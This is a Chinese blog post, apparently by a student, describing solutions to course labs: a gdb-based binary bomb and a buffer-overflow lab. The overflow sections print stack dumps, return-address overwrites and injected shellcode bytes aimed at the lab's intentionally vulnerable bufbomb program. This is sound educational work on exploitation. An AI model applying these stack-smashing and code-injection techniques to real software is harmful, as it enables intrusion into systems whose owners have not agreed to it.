Contents
  1. 1. Binary Bomb
  2. 2. Buffer Overflow
    1. 2.1. 原理
    2. 2.2. smoke
    3. 2.3. fizz
    4. 2.4. bang
    5. 2.5. dynamite
  3. 3. 完结

Binary Bomb

上周Lab2的作业是模拟一个binary bomb,运行后提示输入密码,如果正确就会进入下一关,否则就会爆炸。目标就是通过gdb查看程序运行过程中的逻辑,找出正确的密码顺利通关。那次做作业没有做详细的笔记,就大致说一下思路吧!

做之前看看介绍,提到可以用 objdump -d ./bomb 来生成反编译后的汇编代码,然后整个程序中的各种function name基本都有了,方便后面设断点。具体的代码还是边调试边看比较直观。另外 strings -t x ./bomb 可以打出程序中所有定义的字符串等信息,最后一个隐藏关卡的密码就可以从里面找出来哈哈!

首先跑 gdb ./bomb 进入gdb,设置下断点:b phase_1,然后开始跑程序,随便输入个字符串比如’aaaa’,接下来就是不停用 si 或者设断点的方式看代码了。比如在第一关,可以看到进入phase_1后又调用了strings_not_equal函数,然后看一下 disas

1
2
3
4
5
6
7
8
Dump of assembler code for function strings_not_equal:
0x000000000040123d <+0>: mov %rbx,-0x18(%rsp)
0x0000000000401242 <+5>: mov %rbp,-0x10(%rsp)
0x0000000000401247 <+10>: mov %r12,-0x8(%rsp)
0x000000000040124c <+15>: sub $0x18,%rsp
=> 0x0000000000401250 <+19>: mov %rdi,%rbx
0x0000000000401253 <+22>: mov %rsi,%rbp
0x0000000000401256 <+25>: callq 0x401221 <string_length>

这个$rdi寄存器(一般用来传变量给函数)里放了啥呢?

1
2
(gdb) x /s $rdi
0x602f40 <input_strings>: "aaaa"

恩,原来就是我输入的内容。继续往下走。

1
2
3
4
5
6
0x0000000000401256 <+25>: callq 0x401221 <string_length>
=> 0x000000000040125b <+30>: mov %eax,%r12d
0x000000000040125e <+33>: mov %rbp,%rdi
0x0000000000401261 <+36>: callq 0x401221 <string_length>
0x0000000000401266 <+41>: mov $0x1,%edx
0x000000000040126b <+46>: cmp %eax,%r12d

跑完string_length后看下$eax里的值是啥:

1
2
(gdb) p /x $eax
$6 = 0x4

然后又挪了$rbp里的值去调用string_length,所以这里意图应该是挺明显的,就是想先比较下用户输入和正确密码的长度看看是否相等,正确密码就在$rbp里啦!

1
2
(gdb) x /s $rbp
0x401af8 <__dso_handle+496>: "Science isn't about why, it's about why not?"

这样就完成一关啦!如果懒得重新输入可以直接在gdb里改了密码:

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) x /s $rdi
0x602f40 <input_strings>: "aaaa"
(gdb) set $rbp=$rdi
(gdb) x /s $rbp
0x602f40 <input_strings>: "aaaa"
(gdb) c
Continuing.
Breakpoint 2, 0x000000000040123b in string_length ()
(gdb) c
Continuing.
Phase 1 defused. How about the next one?

其它关卡大同小异,有时候不知道具体要输入什么还可以看看程序在调用sscanf时用的format string是啥。后面机关有循环,有switch表,有递归,有数组指针,链表排序之类的……有时候代码逻辑还是挺复杂的,不过只要找一下密码的话还是不难,仔细有耐心一点基本都能搞定。

Buffer Overflow

原理

Lab3的作业也是用汇编来搞,不过内容变成了做buffer overflow的攻击!大致看一下原理,如下是一个手绘stack……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
804854e: call 8048b90 <main>
8048553: pushl %eax
|-------------|
0x110 | |
|-------------|
0x10c | |
|-------------|
0x108 | 123 |
|-------------|
|-------------|
%esp | 0x108 |
|-------------|
|-------------|
%eip | 0x804854e |
|-------------|

调用函数前,先把返回地址pushl到stack,也就是call的下一行0x8048553,把%esp的值改成当前的栈顶(由于stack是在高位地址,这里栈顶反而是最小地址值也就是-0x4(%esp)),然后跳转到被调用的函数的地址0x8048b90去执行代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|-------------|
0x110 | |
|-------------|
0x10c | |
|-------------|
0x108 | 123 |
|-------------|
0x104 | 0x8048553 |
|-------------|
|-------------|
%esp | 0x104 |
|-------------|
|-------------|
%eip | 0x8048b90 |
|-------------|

当跑到return时%eip的值为0x8048591,返回地址会从stack上pop出来放到%eip里,同时%esp也会在pop后变回0x108

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
8048591: ret
|-------------|
0x110 | |
|-------------|
0x10c | |
|-------------|
0x108 | 123 |
|-------------|
0x104 | 0x8048553 |
|-------------|
|-------------|
%esp | 0x108 |
|-------------|
|-------------|
%eip | 0x8048553 |
|-------------|

Hmm…实际的stack要更复杂点,return address下面会跟一个%ebp指向的地址,里面存的是函数调用方(也就是上一个stack frame)的%ebp值,%ebp%esp之间会有callee保存的寄存器内容,local variables,对它要调用的函数准备的arguments之类的信息……整个过程中%ebp基本就是一个基准,可以看到很多代码里会有-0x18(%ebp)之类的来定位stack上变量的地址,而%esp会一直指向栈顶,比如在读取用户输入时会建立一个数组什么的假设是char[16],然后对应就会执行subl $16,%esp来使栈顶向下移动16bytes,这段buffer就用来存放用户的输入。例如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void echo() {
char buf[4];
gets(buf);
puts(buf);
}
echo:
pushl %ebp # Save %ebp on stack
movl %esp, %ebp
pushl %ebx # Save %ebx
leal -8(%ebp), %ebx # Compute buf as %ebp-8
subl $20, %esp # Allocate stack space
movl %ebx, (%esp) # Push buf addr on stack
call gets # Call gets
|-------------------|
0xffffc658 | Stack Frame |
| for main |
|-------------------|
Return Addr | f7 | 85 | 04 | 08 |
|-------------------|
0xffffc638 | 58 | c6 | ff | ff |
|-------------------|
| Saved %ebx |
|-------------------|
buf | xx | xx | xx | xx |
|-------------------|
| |
| |
| |
| |
|-------------------|
buf addr | 0xffffc630 |
|-------------------|

作为业界良心,还是把图画了一下……之所以叫buffer overflow攻击,也就是因为gets在执行时如果没有检查用户输入大小而任由写入内存,当把buf那四个bytes写满后就会写到saved %ebx那里!如果继续往下写,就可以改变return addr,跳转到你任意想跳转到的函数地址!具体可以参考wiki上的词条或者直接去看这门课的视频,老师讲的很清晰很全面!这里就不展开另外讲寄存器值保存,地址对齐之类的细节了。本来懒得画图就搜了下别人的blog,发现这篇里面的图画的很好……也可以参考借鉴。

=================== !!!以下将进入解题剧透环节!!! ===================

smoke

第一个挑战,预热一下,目的就是改那个return addr。由于我们要注入地址,代码之类的二进制数据,作业里还很贴心地提供了个ascii转binary的小工具:

1
./sendstring < exploit.txt > exploit.bytes

只要把需要需要注入的hex码写到那个文本文件里就可以生成啦。值得注意的是在Intel CPU上是little-endian的字节序,很多地方需要反过来写。我们先随便搞个输入,比如写32个a进去,生成二进制码,然后跑gdb看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gdb ./bufbomb
(gdb) break getbuf
(gdb) r -u 4999723 < exploit.bytes
(gdb) si 4
(gdb) disas
Dump of assembler code for function getbuf:
0x0000000000400da0 <+0>: push %rbp
0x0000000000400da1 <+1>: mov %rsp,%rbp
0x0000000000400da4 <+4>: sub $0x30,%rsp
0x0000000000400da8 <+8>: lea -0x30(%rbp),%rdi
=> 0x0000000000400dac <+12>: callq 0x400cb0 <Gets>
0x0000000000400db1 <+17>: movabs $0xcccccccccccccccd,%rdx
0x0000000000400dbb <+27>: mov %rax,%rcx
0x0000000000400dbe <+30>: mul %rdx
0x0000000000400dc1 <+33>: shr $0x5,%rdx
0x0000000000400dc5 <+37>: lea (%rdx,%rdx,4),%rax
0x0000000000400dc9 <+41>: mov %rcx,%rdx
0x0000000000400dcc <+44>: shl $0x3,%rax
0x0000000000400dd0 <+48>: sub %rax,%rdx
0x0000000000400dd3 <+51>: mov $0x24,%eax
0x0000000000400dd8 <+56>: cmp $0x24,%rdx
0x0000000000400ddc <+60>: cmovae %rdx,%rax
0x0000000000400de0 <+64>: xor %ecx,%ecx
0x0000000000400de2 <+66>: add $0x1e,%rax
0x0000000000400de6 <+70>: and $0xfffffffffffffff0,%rax
0x0000000000400dea <+74>: sub %rax,%rsp
0x0000000000400ded <+77>: lea 0xf(%rsp),%r8
0x0000000000400df2 <+82>: and $0xfffffffffffffff0,%r8
0x0000000000400df6 <+86>: nopw %cs:0x0(%rax,%rax,1)
0x0000000000400e00 <+96>: movzbl -0x30(%rbp,%rcx,1),%edi
0x0000000000400e05 <+101>: lea (%r8,%rcx,1),%rsi
0x0000000000400e09 <+105>: add $0x1,%rcx
0x0000000000400e0d <+109>: cmp $0x24,%rcx
0x0000000000400e11 <+113>: mov %dil,(%rsi)
0x0000000000400e14 <+116>: jne 0x400e00 <getbuf+96>
0x0000000000400e16 <+118>: mov %rdx,%rax
0x0000000000400e19 <+121>: leaveq
0x0000000000400e1a <+122>: retq
End of assembler dump.

我们直接就看Gets获取用户输入返回后的情况吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
(gdb) b *getbuf+17
Breakpoint 2 at 0x400db1: file bufbomb.c, line 137.
(gdb) c
Continuing.
Breakpoint 2, getbuf () at bufbomb.c:137
137 variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
(gdb) i r
rax 0x7fffffffb8c0 140737488337088
rbx 0x497746be 1232553662
rcx 0x2e 46
rdx 0x379e9b2af0 238884170480
rsi 0xa 10
rdi 0x379e9b1340 238884164416
rbp 0x7fffffffb8f0 0x7fffffffb8f0
rsp 0x7fffffffb8c0 0x7fffffffb8c0
r8 0x7ffff7fdc740 140737353992000
r9 0x0 0
r10 0x22 34
r11 0x246 582
r12 0x607f80 6324096
r13 0x7fffffffe6f0 140737488348912
r14 0x0 0
r15 0x0 0
rip 0x400db1 0x400db1 <getbuf+17>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

可以看到目前的%rsp, %rbp的值,查看下我们的输入是不是被放进去了:

1
2
3
4
5
6
(gdb) x /20x $rsp
0x7fffffffb8c0: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
0x7fffffffb8d0: 0x00607f00 0x00000000 0x9e2148e5 0x00000037
0x7fffffffb8e0: 0x00002c80 0x00000000 0x9e6ba477 0x00000037
0x7fffffffb8f0: 0xffffb920 0x00007fff 0x00400ef3 0x00000000
0x7fffffffb900: 0xffffb930 0x00007fff 0xdeadbeef 0x00000000

32个a有木有!再看%rbp0x7fffffffb8f0,那后面%rbp+8那个位置就是return addr了吧!我们看看反编译的代码:

1
2
3
4
objdump -d ./bufbomb > bufbomb.s
400eee: e8 ad fe ff ff callq 400da0 <getbuf>
400ef3: 48 83 f8 28 cmp $0x28,%rax

果然如此啊!这道题的要求是跳转到smoke这个函数,同理在bufbomb.s里找一下:

1
2
3
4
5
6
7
8
9
10
11
12
00000000004010c0 <smoke>:
4010c0: 48 83 ec 08 sub $0x8,%rsp
4010c4: bf 45 13 40 00 mov $0x401345,%edi
4010c9: c7 05 dd 11 20 00 00 movl $0x0,0x2011dd(%rip) # 6022b0 <check_level>
4010d0: 00 00 00
4010d3: e8 08 f7 ff ff callq 4007e0 <puts@plt>
4010d8: 31 ff xor %edi,%edi
4010da: e8 51 fd ff ff callq 400e30 <validate>
4010df: 31 ff xor %edi,%edi
4010e1: e8 da f7 ff ff callq 4008c0 <exit@plt>
4010e6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
4010ed: 00 00 00

所以只要改成0x004010c0就可以啦!前面56个字节任意,然后小心地填入 c0 10 40 00 作为最后四个字节,这关就过啦!

fizz

这一关跟上一关大同小异,换了一个函数fizz,多了个条件要传参数(用户id生成的cookie)进去!课上老师说过,x86-64前6个参数都是直接从寄存器传,之后才动用到stack上的地址,恩然后这个需要修改的参数正好是第七个。我们可以沿用上面的注入代码,只要改一下地址变成fizz的地址0x00401070

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
(gdb) b fizz
(gdb) r -u 4999723 < exploit.bytes
Starting program: /home/auser/course-materials/lab3/bufbomb -u 4999723 < exploit.bytes
Username: 4999723
ce
e2
32
31
3
a5
41
1f
Cookie: 0x1f41a5033132e2ce
Breakpoint 2, fizz (arg1=171, arg2=-93 '\243', arg3=8, arg4=0x24 <Address 0x24 out of bounds>, arg5=-18304, arg6=0,
val=3735928559) at bufbomb.c:73
(gdb) disas
Dump of assembler code for function fizz:
=> 0x0000000000401070 <+0>: sub $0x8,%rsp
0x0000000000401074 <+4>: movl $0x1,0x201232(%rip) # 0x6022b0 <check_level>
0x000000000040107e <+14>: mov 0x10(%rsp),%rsi
0x0000000000401083 <+19>: cmp 0x201296(%rip),%rsi # 0x602320 <cookie>
0x000000000040108a <+26>: je 0x40109f <fizz+47>
0x000000000040108c <+28>: mov $0x4015b0,%edi
0x0000000000401091 <+33>: xor %eax,%eax
0x0000000000401093 <+35>: callq 0x4007f0 <printf@plt>
0x0000000000401098 <+40>: xor %edi,%edi
0x000000000040109a <+42>: callq 0x4008c0 <exit@plt>
0x000000000040109f <+47>: mov $0x401590,%edi
0x00000000004010a4 <+52>: xor %eax,%eax
0x00000000004010a6 <+54>: callq 0x4007f0 <printf@plt>
0x00000000004010ab <+59>: mov $0x1,%edi
0x00000000004010b0 <+64>: callq 0x400e30 <validate>
0x00000000004010b5 <+69>: jmp 0x401098 <fizz+40>
End of assembler dump.
(gdb) i r
rax 0x8 8
rbx 0x497746be 1232553662
rcx 0x24 36
rdx 0x8 8
rsi 0x7fffffffb8a3 140737488337059
rdi 0xab 171
rbp 0xabababababababab 0xabababababababab
rsp 0x7fffffffb900 0x7fffffffb900
r8 0x7fffffffb880 140737488337024
r9 0x0 0
r10 0x22 34
r11 0x246 582
r12 0x607f80 6324096
r13 0x7fffffffe6f0 140737488348912
r14 0x0 0
r15 0x0 0
rip 0x401070 0x401070 <fizz>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

这里的关键点,先做%rsp-8,然后mov 0x10(%rsp),%rsi这里把%rsp+0x10的内容放到%rsi里,后面就是用这个值去跟cookie比较了!我们来看下正确的cookie是啥:

1
2
(gdb) x /2x 0x602320
0x602320 <cookie>: 0x3132e2ce 0x1f41a503

而我们传进去的cookie参数呢:

1
2
(gdb) p /x $rsi
$3 = 0xdeadbeef

死去的牛肉……是不是有点眼熟?其实算一下也就知道它应该是%rsp-0x08+0x10 = 0x7fffffffb908,在上一题中我们已经看到那个位置存的就是deadbeef啦!然后就是修改注入信息,把它一直覆盖到正确的cookie值也被写入stack空间即可!

1
2
3
4
5
6
7
(gdb) p /x $rsi
$1 = 0x1f41a5033132e2ce
(gdb) x /2x 0x602320
0x602320 <cookie>: 0x3132e2ce 0x1f41a503
(gdb) c
Continuing.
Type string: Fizz!: You called fizz(0x1f41a5033132e2ce)

帅气!

bang

这关开始就不是简单的修改内容,而是要注入机器指令了!流程就是先进入getbuf -> 修改return addr到stack上的地址 -> 跑stack上你注入的machine code -> 修改global_value后return到bang函数里去做验证。先看下我们之前的注入:

1
2
3
4
5
6
(gdb) x /20x $rsp
0x7fffffffb8c0: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
0x7fffffffb8d0: 0x00607f00 0x00000000 0x9e2148e5 0x00000037
0x7fffffffb8e0: 0x00002c80 0x00000000 0x9e6ba477 0x00000037
0x7fffffffb8f0: 0xffffb920 0x00007fff 0x00400ef3 0x00000000
0x7fffffffb900: 0xffffb930 0x00007fff 0xdeadbeef 0x00000000

这里返回地址是0x400ef3,而我们需要它去执行stack上的代码,可以修改返回地址到0x7fffffffb900,然后从那里开始我们就要填入修改global_value的机器代码了!就这么来吧!先写汇编并生成机器码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# as.s
movq 0x602320,%rax # 正确Cookie所在的位置,放到%rax
movq %rax,0x602308 # 再放到global_value所在地址
pushq $0x401020 # 返回地址为bang函数的入口地址
retq # 返回!
gcc -c as.s
objdump -d as.o > as.d
as.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 8b 04 25 20 23 60 mov 0x602320,%rax
7: 00
8: 48 89 04 25 08 23 60 mov %rax,0x602308
f: 00
10: 68 20 10 40 00 pushq $0x401020
15: c3 retq

然后把这段代码通过相同方法小心地放到目的地址……记得修改原来栈上的return addr。大功告成!

1
2
3
(gdb) c
Continuing.
Type string: Bang!: You set global_value to 0x1f41a5033132e2ce

dynamite

这关是附加题,在上一题的基础上加了个要求,就是在完成注入,修改完cookie后还要复原现场,返回原先调用getbuf的函数去。这关真是各种曲折,先修改前面那个pushq好让跑完我的注入代码后回到test函数(也就是getbuf的调用者)去,然后发现程序会去检查那个deadbeef还在不在,cookie是不是正确设置成了用户的cookie等。最直观的做法就是跳过原先存放%rbp还有那个deadbeef的位置再注入代码,在代码里修改getbuf返回值,然后再跳回test函数,的确可以通过。修改过的汇编如下:

1
2
3
4
5
0000000000000000 <.text>:
0: 48 b8 ce e2 32 31 03 movabs $0x1f41a5033132e2ce,%rax
7: a5 41 1f
a: 68 f3 0e 40 00 pushq $0x400ef3
f: c3 retq

注入之后的内存情况:

1
2
3
4
5
6
7
8
9
(gdb) x /32x $rsp
0x7fffffffb8c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffb8d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffb8e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffb8f0: 0xffffb920 0x00007fff 0xffffb930 0x00007fff
0x7fffffffb900: 0xffffb930 0x00007fff 0xdeadbeef 0x00000000
0x7fffffffb910: 0x199b0120 0x00000037 0x497746be 0x00000000
0x7fffffffb920: 0xffffe5e0 0x00007fff 0x00400fdd 0x00000000
0x7fffffffb930: 0xe2ceb848 0xa5033132 0xf3681f41 0xc300400e

注意上面我从0x7fffffffb930才开始放代码,0x7fffffffb8f8处的return addr也做了相应的修改。虽然本地通过了测试,但是提交后总是0分……于是我又去看bufbomb的源码:

1
2
3
4
5
6
7
while ((c = getopt(argc, argv, "gt:u:")) != -1)
switch(c) {
case 'g': /* Hidden switch */
grade = 1;
quiet = 1;
alarm_time = 1; /* Should get immediate response */
break;

难道是提交后打分用了-g参数?再试了下果然会有segmentation fault出现。难道是我注入的代码破坏了之前push进去的某些内容?然后我又试着在原来0x7fffffffb900的位置注入代码,在代码里把deadbeef搞回去:

1
2
3
4
5
6
7
8
0000000000000000 <.text>:
0: 48 b8 ce e2 32 31 03 movabs $0x1f41a5033132e2ce,%rax
7: a5 41 1f
a: 68 f3 0e 40 00 pushq $0x400ef3
f: 49 ba ef be ad de 00 movabs $0xdeadbeef,%r10
16: 00 00 00
19: 4c 89 55 e8 mov %r10,-0x18(%rbp)
1d: c3 retq

跑了一下gdb,这下无论加还是不加-g都能通过了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) r -u 4999723 -g < dynamite.bytes
Starting program: /home/auser/course-materials/lab3/bufbomb -u 4999723 -g < dynamite.bytes
Username: 4999723
ce
e2
32
31
3
a5
41
1f
Cookie: 0x1f41a5033132e2ce
Boom!: getbuf returned 0x1f41a5033132e2ce
Level 3 VALID
[Inferior 1 (process 12692) exited normally]

但是提交后还是不行!不用gdb试着跑了下……果然还是有segmentation fault!怒了,设core file size为unlimited,再跑!没有core?一看源码:

1
2
3
4
5
6
7
/* Signal handler to catch segmentation violations */
void seghandler(int sig)
{
printf("Ouch!: You caused a segmentation fault!\n");
printf("Better luck next time\n");
exit(0);
}

我去,竟然拦截了信号量不生成core file。修改代码再编译……发现原来这个代码不完整,没有头文件之类的……还好我们还有神器!祭出valgrind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
bash-4.2$ valgrind ./bufbomb -g -u 4999723 < exploit.bytes
==14149== Memcheck, a memory error detector
==14149== Copyright (C) 2002-2012, and GNU GPL'd, by Julian Seward et al.
==14149== Using Valgrind-3.8.1 and LibVEX; rerun with -h for copyright info
==14149== Command: ./bufbomb -g -u 4999723
==14149==
Username: 4999723
ce
e2
32
31
3
a5
41
1f
Cookie: 0x1f41a5033132e2ce
==14149== Jump to the invalid address stated on the next line
==14149== at 0x7FFFFFFFB900: ???
==14149== by 0xA5033132E2CEB847: ???
==14149== by 0x4900400EF3681F40: ???
==14149== by 0xDEADBEEFB9: ???
==14149== by 0xC3E855894BFF: ???
==14149== by 0x7FF00059F: ???
==14149== by 0x400FDC: launch.isra.1 (bufbomb.c:343)
==14149== by 0xF4F4F4F4F4F4F4F3: ???
==14149== by 0xF4F4F4F4F4F4F4F3: ???
==14149== by 0xF4F4F4F4F4F4F4F3: ???
==14149== by 0xF4F4F4F4F4F4F4F3: ???
==14149== by 0xF4F4F4F4F4F4F4F3: ???
==14149== Address 0x7fffffffb900 is not stack'd, malloc'd or (recently) free'd
==14149==
Ouch!: You caused a segmentation fault!
Better luck next time
==14149==
==14149== HEAP SUMMARY:
==14149== in use at exit: 16,392 bytes in 2 blocks
==14149== total heap usage: 2 allocs, 0 frees, 16,392 bytes allocated
==14149==
==14149== LEAK SUMMARY:
==14149== definitely lost: 0 bytes in 0 blocks
==14149== indirectly lost: 0 bytes in 0 blocks
==14149== possibly lost: 16,384 bytes in 1 blocks
==14149== still reachable: 8 bytes in 1 blocks
==14149== suppressed: 0 bytes in 0 blocks
==14149== Rerun with --leak-check=full to see details of leaked memory
==14149==
==14149== For counts of detected and suppressed errors, rerun with: -v
==14149== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 2 from 2)

看上去是直接跑stack空间的代码导致了问题……目前就卡在这里没有进展了……求大神指点迷津啊!

(2014-08-05 Update) 今天早上来不甘心又试了下,比较了正常返回到test函数与从我注入的代码跳转回来时各寄存器的值,发现%r10原来是有值的,我就改成用%r15来放deadbeef了。改了注入后情况还是一样,gdb里通过直接命令行跑报错。记得老师上课说我们这种注入方法目前是没法用的,因为stack区域的代码理论上是不可执行的,所以我觉得报错也正常吧……又提交了一次结果这次竟然就满分了。有点诡异!另外之前我试着直接在汇编代码里写movq $0xdeadbeef,-0x18(%rbp)发现会报operand size mismatch错误。感觉是因为赋值太长,超出了指令最长8个字节的限制,所以还是用了个寄存器来中转下。不知道别的同学是用啥方法来复原这个deadbeef的。

完结

足足花了两天时间搞这个,最后那个问题去论坛问了,有好多人碰到,暂时还没解答……发现问同样问题的人里有个中国人,一看他选的课跟我有很多重合的!再看了看他的LinkedIn,竟然是91年就上本科的大叔……目前是AT&T的技术经理!一把年纪了还在Coursera上刷课,这种学习精神真是令人钦佩啊!我也要活到老学到老!

Contents
  1. 1. Binary Bomb
  2. 2. Buffer Overflow
    1. 2.1. 原理
    2. 2.2. smoke
    3. 2.3. fizz
    4. 2.4. bang
    5. 2.5. dynamite
  3. 3. 完结